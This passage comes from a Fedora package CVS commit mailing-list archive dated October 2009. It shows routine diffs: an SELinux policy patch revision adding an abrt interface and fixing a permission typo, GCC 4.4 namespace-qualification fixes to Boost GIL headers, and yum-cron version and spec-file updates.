 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   92 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 350 files changed, 16508 insertions(+), 2631 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- policy-F12.patch	13 Oct 2009 22:13:44 -0000	1.106
+++ policy-F12.patch	14 Oct 2009 13:29:12 -0000	1.107
@@ -9106,8 +9106,8 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.if serefpolicy-3.6.32/policy/modules/services/abrt.if
 --- nsaserefpolicy/policy/modules/services/abrt.if	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-09-30 16:12:48.000000000 -0400
-@@ -75,6 +75,27 @@
++++ serefpolicy-3.6.32/policy/modules/services/abrt.if	2009-10-14 08:42:20.000000000 -0400
+@@ -75,6 +75,46 @@
  	read_files_pattern($1, abrt_var_log_t, abrt_var_log_t)
  ')
  
@@ -9132,6 +9132,25 @@ diff -b -B --ignore-all-space --exclude-
 +	allow abrt_t $1:dbus send_msg;
 +')
 +
++########################################
++## <summary>
++##	Send and receive messages from
++##	abrt over dbus.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`abrt_cache_manage',`
++	gen_require(`
++		type abrt_var_cache_t;
++	')
++
++	manage_files_pattern($1, abrt_var_cache_t, abrt_var_cache_t)
++')
++
  #####################################
  ## <summary>
  ##	All of the rules required to administrate 
@@ -30089,7 +30108,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/xen.te serefpolicy-3.6.32/policy/modules/system/xen.te
 --- nsaserefpolicy/policy/modules/system/xen.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/xen.te	2009-10-13 16:47:27.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/xen.te	2009-10-14 08:25:08.000000000 -0400
 @@ -6,6 +6,13 @@
  # Declarations
  #
@@ -30281,7 +30300,7 @@ diff -b -B --ignore-all-space --exclude-
  #
  
  allow xm_t self:capability { dac_override ipc_lock sys_tty_config };
-+allow xm_t self:process { getshed signal };
++allow xm_t self:process { getsched signal };
  
  # internal communication is often done using fifo and unix sockets.
  allow xm_t self:fifo_file rw_fifo_file_perms;



From pmachata at fedoraproject.org  Wed Oct 14 13:34:42 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 14 Oct 2009 13:34:42 +0000 (UTC)
Subject: rpms/boost/F-11 boost-gil_gcc44.patch, NONE, 1.1 boost.spec, 1.60,
	1.61
Message-ID: <20091014133442.93F4011C00E5@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/boost/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12311

Modified Files:
	boost.spec 
Added Files:
	boost-gil_gcc44.patch 
Log Message:
- GCC 4.4 name resolution fixes for GIL
- Resolves: #526834


boost-gil_gcc44.patch:
 boost/gil/bit_aligned_pixel_reference.hpp |    2 +-
 boost/gil/color_base.hpp                  |   12 ++++++------
 boost/gil/color_base_algorithm.hpp        |    4 ++--
 boost/gil/image_view_factory.hpp          |    8 ++++----
 boost/gil/packed_pixel.hpp                |    2 +-
 boost/gil/pixel.hpp                       |    8 ++++----
 boost/gil/planar_pixel_iterator.hpp       |    8 ++++----
 libs/gil/test/pixel.cpp                   |   11 ++++++-----
 8 files changed, 28 insertions(+), 27 deletions(-)

--- NEW FILE boost-gil_gcc44.patch ---
Index: boost/gil/bit_aligned_pixel_reference.hpp
===================================================================
--- boost/gil/bit_aligned_pixel_reference.hpp	(revision 53049)
+++ boost/gil/bit_aligned_pixel_reference.hpp	(working copy)
@@ -145,7 +145,7 @@
 
     // Construct from another compatible pixel type
     bit_aligned_pixel_reference(const bit_aligned_pixel_reference& p) : _bit_range(p._bit_range) {}
-    template <typename BF, typename CR> bit_aligned_pixel_reference(packed_pixel<BF,CR,Layout>& p) : _bit_range(static_cast<data_ptr_t>(&at_c<0>(p)), at_c<0>(p).first_bit()) {
+    template <typename BF, typename CR> bit_aligned_pixel_reference(packed_pixel<BF,CR,Layout>& p) : _bit_range(static_cast<data_ptr_t>(&gil::at_c<0>(p)), gil::at_c<0>(p).first_bit()) {
         check_compatible<packed_pixel<BF,CR,Layout> >();
     }
 
Index: boost/gil/color_base.hpp
===================================================================
--- boost/gil/color_base.hpp	(revision 53049)
+++ boost/gil/color_base.hpp	(working copy)
@@ -155,15 +155,15 @@
     homogeneous_color_base(Element v0, Element v1, Element v2) : _v0(v0), _v1(v1), _v2(v2) {}
 
     template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,3>& c) : 
-        _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), 
-        _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), 
-        _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
+        _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), 
+        _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), 
+        _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
 
     // Support for l-value reference proxy copy construction
     template <typename E2, typename L2> homogeneous_color_base(      homogeneous_color_base<E2,L2,3>& c) : 
-        _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), 
-        _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), 
-        _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
+        _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), 
+        _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), 
+        _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
 
     // Support for planar_pixel_iterator construction and dereferencing
     template <typename P> homogeneous_color_base(P* p,bool) : 
Index: boost/gil/color_base_algorithm.hpp
===================================================================
--- boost/gil/color_base_algorithm.hpp	(revision 53049)
+++ boost/gil/color_base_algorithm.hpp	(working copy)
@@ -101,7 +101,7 @@
 template <typename ColorBase, int K> struct kth_semantic_element_reference_type {
     BOOST_STATIC_CONSTANT(int, semantic_index = (mpl::at_c<typename ColorBase::layout_t::channel_mapping_t,K>::type::value));
     typedef typename kth_element_reference_type<ColorBase,semantic_index>::type type;
-    static type       get(ColorBase& cb) { return at_c<semantic_index>(cb); }
+    static type       get(ColorBase& cb) { return gil::at_c<semantic_index>(cb); }
 };
 
 /// \brief Specifies the return type of the constant semantic_at_c<K>(color_base);
@@ -109,7 +109,7 @@
 template <typename ColorBase, int K> struct kth_semantic_element_const_reference_type {
     BOOST_STATIC_CONSTANT(int, semantic_index = (mpl::at_c<typename ColorBase::layout_t::channel_mapping_t,K>::type::value));
     typedef typename kth_element_const_reference_type<ColorBase,semantic_index>::type type;
-    static type       get(const ColorBase& cb) { return at_c<semantic_index>(cb); }
+    static type       get(const ColorBase& cb) { return gil::at_c<semantic_index>(cb); }
 };
 
 /// \brief A mutable accessor to the K-th semantic element of a color base
Index: boost/gil/image_view_factory.hpp
===================================================================
--- boost/gil/image_view_factory.hpp	(revision 53049)
+++ boost/gil/image_view_factory.hpp	(working copy)
@@ -102,7 +102,7 @@
     BOOST_STATIC_ASSERT((!is_planar<HomogeneousView>::value && view_is_basic<HomogeneousView>::value));
     BOOST_STATIC_ASSERT((boost::is_pointer<typename HomogeneousView::x_iterator>::value));
 
-    return &at_c<0>(view(0,0));
+    return &gil::at_c<0>(view(0,0));
 }
 
 /// \ingroup ImageViewConstructors
@@ -430,7 +430,7 @@
             typedef typename type::xy_locator                             locator_t;
             typedef typename type::x_iterator                            x_iterator_t;
             typedef typename iterator_adaptor_get_base<x_iterator_t>::type x_iterator_base_t;
-            x_iterator_t sit(x_iterator_base_t(&at_c<K>(src(0,0))),src.pixels().pixel_size());
+            x_iterator_t sit(x_iterator_base_t(&gil::at_c<K>(src(0,0))),src.pixels().pixel_size());
             return type(src.dimensions(),locator_t(sit, src.pixels().row_size()));
         }
     };
@@ -444,7 +444,7 @@
         typedef typename view_type<channel_t, gray_layout_t, false, false, view_is_mutable<View>::value>::type type;
         static type make(const View& src) {
             typedef typename type::x_iterator x_iterator_t;
-            return interleaved_view(src.width(),src.height(),(x_iterator_t)&at_c<K>(src(0,0)), src.pixels().row_size());
+            return interleaved_view(src.width(),src.height(),(x_iterator_t)&gil::at_c<K>(src(0,0)), src.pixels().row_size());
         }
     };
 
@@ -494,7 +494,7 @@
         template <typename P> kth_channel_deref_fn(const kth_channel_deref_fn<K,P>&) {}
 
         result_type operator()(argument_type srcP) const { 
-            return result_type(at_c<K>(srcP)); 
+            return result_type(gil::at_c<K>(srcP));
         }
     };
 
Index: boost/gil/packed_pixel.hpp
===================================================================
--- boost/gil/packed_pixel.hpp	(revision 53049)
+++ boost/gil/packed_pixel.hpp	(working copy)
@@ -81,7 +81,7 @@
     } 
     packed_pixel(int chan0, int chan1, int chan2) : _bitfield(0) { 
         BOOST_STATIC_ASSERT((num_channels<packed_pixel>::value==3)); 
-        at_c<0>(*this)=chan0; at_c<1>(*this)=chan1; at_c<2>(*this)=chan2; 
+        gil::at_c<0>(*this)=chan0; gil::at_c<1>(*this)=chan1; gil::at_c<2>(*this)=chan2; 
     } 
     packed_pixel(int chan0, int chan1, int chan2, int chan3) : _bitfield(0) { 
         BOOST_STATIC_ASSERT((num_channels<packed_pixel>::value==4)); 
Index: boost/gil/pixel.hpp
===================================================================
--- boost/gil/pixel.hpp	(revision 53049)
+++ boost/gil/pixel.hpp	(working copy)
@@ -143,11 +143,11 @@
 
 private:
     static void check_gray() {  BOOST_STATIC_ASSERT((is_same<typename Layout::color_space_t, gray_t>::value)); }
-    template <typename Channel> void assign(const Channel& chan, mpl::false_)       { check_gray(); at_c<0>(*this)=chan; }
-    template <typename Channel> bool equal (const Channel& chan, mpl::false_) const { check_gray(); return at_c<0>(*this)==chan; }
+    template <typename Channel> void assign(const Channel& chan, mpl::false_)       { check_gray(); gil::at_c<0>(*this)=chan; }
+    template <typename Channel> bool equal (const Channel& chan, mpl::false_) const { check_gray(); return gil::at_c<0>(*this)==chan; }
 public:
-    pixel&  operator= (channel_t chan)       { check_gray(); at_c<0>(*this)=chan; return *this; }
-    bool    operator==(channel_t chan) const { check_gray(); return at_c<0>(*this)==chan; }
+    pixel&  operator= (channel_t chan)       { check_gray(); gil::at_c<0>(*this)=chan; return *this; }
+    bool    operator==(channel_t chan) const { check_gray(); return gil::at_c<0>(*this)==chan; }
 };
 
 /////////////////////////////
Index: boost/gil/planar_pixel_iterator.hpp
===================================================================
--- boost/gil/planar_pixel_iterator.hpp	(revision 53049)
+++ boost/gil/planar_pixel_iterator.hpp	(working copy)
@@ -109,8 +109,8 @@
     reference operator->()                        const { return **this; }
 
     // PERFORMANCE_CHECK: Remove?
-    bool operator< (const planar_pixel_iterator& ptr)   const { return at_c<0>(*this)< at_c<0>(ptr); }
-    bool operator!=(const planar_pixel_iterator& ptr)   const { return at_c<0>(*this)!=at_c<0>(ptr); }
+    bool operator< (const planar_pixel_iterator& ptr)   const { return gil::at_c<0>(*this)< gil::at_c<0>(ptr); }
+    bool operator!=(const planar_pixel_iterator& ptr)   const { return gil::at_c<0>(*this)!=gil::at_c<0>(ptr); }
 private:
     friend class boost::iterator_core_access;
 
@@ -119,8 +119,8 @@
     void advance(ptrdiff_t d)   { static_transform(*this,*this,std::bind2nd(detail::plus_asymmetric<ChannelPtr,ptrdiff_t>(),d)); }
     reference dereference() const { return this->template deref<reference>(); }
 
-    ptrdiff_t distance_to(const planar_pixel_iterator& it) const { return at_c<0>(it)-at_c<0>(*this); }
-    bool equal(const planar_pixel_iterator& it) const { return at_c<0>(*this)==at_c<0>(it); }
+    ptrdiff_t distance_to(const planar_pixel_iterator& it) const { return gil::at_c<0>(it)-gil::at_c<0>(*this); }
+    bool equal(const planar_pixel_iterator& it) const { return gil::at_c<0>(*this)==gil::at_c<0>(it); }
 };
 
 namespace detail {
Index: libs/gil/test/pixel.cpp
===================================================================
--- libs/gil/test/pixel.cpp	(revision 53049)
+++ libs/gil/test/pixel.cpp	(working copy)
@@ -34,8 +34,9 @@
 // Testing pixel references and values, pixel operations, color conversion
 
 using namespace boost::gil;
-using namespace std;
+using std::swap;
 using namespace boost;
+
 void error_if(bool condition);
 
 struct increment { 
@@ -63,8 +64,8 @@
 
         // test homogeneous algorithms - fill, max, min
         static const int num_chan = num_channels<typename C2::pixel_t>::value;
-        static_fill(C2::_pixel, at_c<0>(C1::_pixel)+1);
-        error_if(at_c<0>(C2::_pixel) != at_c<num_chan-1>(C2::_pixel));
+        static_fill(C2::_pixel, gil::at_c<0>(C1::_pixel)+1);
+        error_if(gil::at_c<0>(C2::_pixel) != gil::at_c<num_chan-1>(C2::_pixel));
 
         C2::_pixel = C1::_pixel;
         error_if(static_max(C2::_pixel) != static_max(C1::_pixel));
@@ -107,7 +108,7 @@
         error_if(C1::_pixel!=C2::_pixel);
 
         static_generate(C2::_pixel, set_to_one());
-        error_if(at_c<0>(C2::_pixel) != 1);
+        error_if(gil::at_c<0>(C2::_pixel) != 1);
 
         // Test swap if both are mutable and if their value type is the same
         // (We know the second one is mutable)
@@ -313,7 +314,7 @@
     bgr8_pixel_t bgr8(rgb8);
     error_if(bgr8[0] == rgb8[0]);
     error_if(dynamic_at_c(bgr8,0) == dynamic_at_c(rgb8,0));
-    error_if(at_c<0>(bgr8) == at_c<0>(rgb8));
+    error_if(gil::at_c<0>(bgr8) == gil::at_c<0>(rgb8));
     error_if(semantic_at_c<0>(bgr8) != semantic_at_c<0>(rgb8));
     error_if(get_color(bgr8,blue_t()) != get_color(rgb8,blue_t()));
 


Index: boost.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boost/F-11/boost.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- boost.spec	3 Jul 2009 12:38:00 -0000	1.60
+++ boost.spec	14 Oct 2009 13:34:42 -0000	1.61
@@ -4,7 +4,7 @@
 Name: boost
 Summary: The Boost C++ Libraries
 Version: 1.37.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 License: Boost
 URL: http://www.boost.org/
 Group: System Environment/Libraries
@@ -31,6 +31,7 @@ Patch6: boost-unneccessary_iostreams.pat
 Patch7: boost-1_37_0-smp.patch
 Patch8: boost-bitset.patch
 Patch9: boost-fs_gcc44.patch
+Patch10: boost-gil_gcc44.patch
 
 %description
 Boost provides free peer-reviewed portable C++ source libraries.  The
@@ -80,6 +81,7 @@ sed 's/!!!SONAME!!!/%{sonamever}/' %{PAT
 sed 's/!!!SMP_FLAGS!!!/%{?_smp_mflags}/' %{PATCH7} | %{__patch} -p1 --fuzz=0
 %patch8 -p1
 %patch9 -p0
+%patch10 -p0
 
 %build
 BOOST_ROOT=`pwd`
@@ -212,6 +214,10 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_docdir}/%{name}-%{version}
 
 %changelog
+* Wed Oct 14 2009 Petr Machata <pmachata at redhat.com> - 1.37.0-8
+- GCC 4.4 name resolution fixes for GIL
+- Resolves: #526834
+
 * Fri Jul  3 2009 Petr Machata <pmachata at redhat.com> - 1.37.0-7
 - Add upstream patch to make boost_filesystem compatible with C++0x.
 - Resolves: #509250



From habig at fedoraproject.org  Wed Oct 14 13:35:21 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed, 14 Oct 2009 13:35:21 +0000 (UTC)
Subject: rpms/yum-cron/devel .cvsignore, 1.11, 1.12 import.log, 1.4,
	1.5 sources, 1.11, 1.12 yum-cron.spec, 1.16, 1.17
Message-ID: <20091014133521.5E2EC11C00E5@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12503/devel

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Fixed CLEANDAY default in script
- changed the /etc/yum/ scripts to not be marked as a config file in
  the .spec - we always want them updated, they're code not config.
  rpmlint used to complain about them not being marked as config files,
  but seems to have grown out of this weirdness in the meantime .




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	6 Oct 2009 22:15:05 -0000	1.11
+++ .cvsignore	14 Oct 2009 13:35:21 -0000	1.12
@@ -1 +1 @@
-yum-cron-0.9.0.tar.gz
+yum-cron-0.9.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	6 Oct 2009 22:15:06 -0000	1.4
+++ import.log	14 Oct 2009 13:35:21 -0000	1.5
@@ -2,3 +2,4 @@ yum-cron-0_8_3-1_fc10:HEAD:yum-cron-0.8.
 yum-cron-0_8_4-1_fc11:HEAD:yum-cron-0.8.4-1.fc11.src.rpm:1249949003
 yum-cron-0_8_4-2_fc11:HEAD:yum-cron-0.8.4-2.fc11.src.rpm:1250883009
 yum-cron-0_9_0-1_fc11:HEAD:yum-cron-0.9.0-1.fc11.src.rpm:1254867260
+yum-cron-0_9_1-1_fc11:HEAD:yum-cron-0.9.1-1.fc11.src.rpm:1255527284


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	6 Oct 2009 22:15:06 -0000	1.11
+++ sources	14 Oct 2009 13:35:21 -0000	1.12
@@ -1 +1 @@
-bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz
+894d3857361c926963c04d2c18552d3e  yum-cron-0.9.1.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/yum-cron.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- yum-cron.spec	6 Oct 2009 22:15:06 -0000	1.16
+++ yum-cron.spec	14 Oct 2009 13:35:21 -0000	1.17
@@ -1,6 +1,6 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.9.0
+Version: 0.9.1
 Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
@@ -85,12 +85,18 @@ exit 0
 %defattr(-,root,root)
 %doc COPYING README
 %{_sysconfdir}/cron.daily/0yum.cron
-%config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
-%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
+%{_sysconfdir}/yum/yum-daily.yum
+%{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Fri Oct 9 2009 Alec Habig <ahabig at umn.edu> - 0.9.1-1
+- Fixed CLEANDAY default in script
+- changed the /etc/yum/ scripts to not be marked as a config file in
+  the .spec - we always want them updated, they're code not config.  
+  rpmlint used to complain about them not being marked as config files,
+  but seems to have grown out of this weirdness in the meantime .
 * Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
 - Change cron file to 0yum.cron, so yum updates things before the other daily jobs
   such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up



From habig at fedoraproject.org  Wed Oct 14 13:36:04 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Wed, 14 Oct 2009 13:36:04 +0000 (UTC)
Subject: rpms/yum-cron/F-12 .cvsignore, 1.11, 1.12 import.log, 1.4,
	1.5 sources, 1.11, 1.12 yum-cron.spec, 1.16, 1.17
Message-ID: <20091014133604.5899D11C00E5@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12763/F-12

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
- Fixed CLEANDAY default in script
- changed the /etc/yum/ scripts to not be marked as a config file in
  the .spec - we always want them updated, they're code not config.
  rpmlint used to complain about them not being marked as config files,
  but seems to have grown out of this weirdness in the meantime .




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	7 Oct 2009 13:28:56 -0000	1.11
+++ .cvsignore	14 Oct 2009 13:36:03 -0000	1.12
@@ -1 +1 @@
-yum-cron-0.9.0.tar.gz
+yum-cron-0.9.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	7 Oct 2009 13:28:56 -0000	1.4
+++ import.log	14 Oct 2009 13:36:04 -0000	1.5
@@ -2,3 +2,4 @@ yum-cron-0_8_3-1_fc10:HEAD:yum-cron-0.8.
 yum-cron-0_8_4-1_fc11:HEAD:yum-cron-0.8.4-1.fc11.src.rpm:1249949003
 yum-cron-0_8_4-2_fc11:HEAD:yum-cron-0.8.4-2.fc11.src.rpm:1250883009
 yum-cron-0_9_0-1_fc11:F-12:yum-cron-0.9.0-1.fc11.src.rpm:1254922039
+yum-cron-0_9_1-1_fc11:F-12:yum-cron-0.9.1-1.fc11.src.rpm:1255527348


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	7 Oct 2009 13:28:56 -0000	1.11
+++ sources	14 Oct 2009 13:36:04 -0000	1.12
@@ -1 +1 @@
-bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz
+894d3857361c926963c04d2c18552d3e  yum-cron-0.9.1.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/F-12/yum-cron.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- yum-cron.spec	7 Oct 2009 13:28:56 -0000	1.16
+++ yum-cron.spec	14 Oct 2009 13:36:04 -0000	1.17
@@ -1,6 +1,6 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.9.0
+Version: 0.9.1
 Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
@@ -85,12 +85,18 @@ exit 0
 %defattr(-,root,root)
 %doc COPYING README
 %{_sysconfdir}/cron.daily/0yum.cron
-%config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
-%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
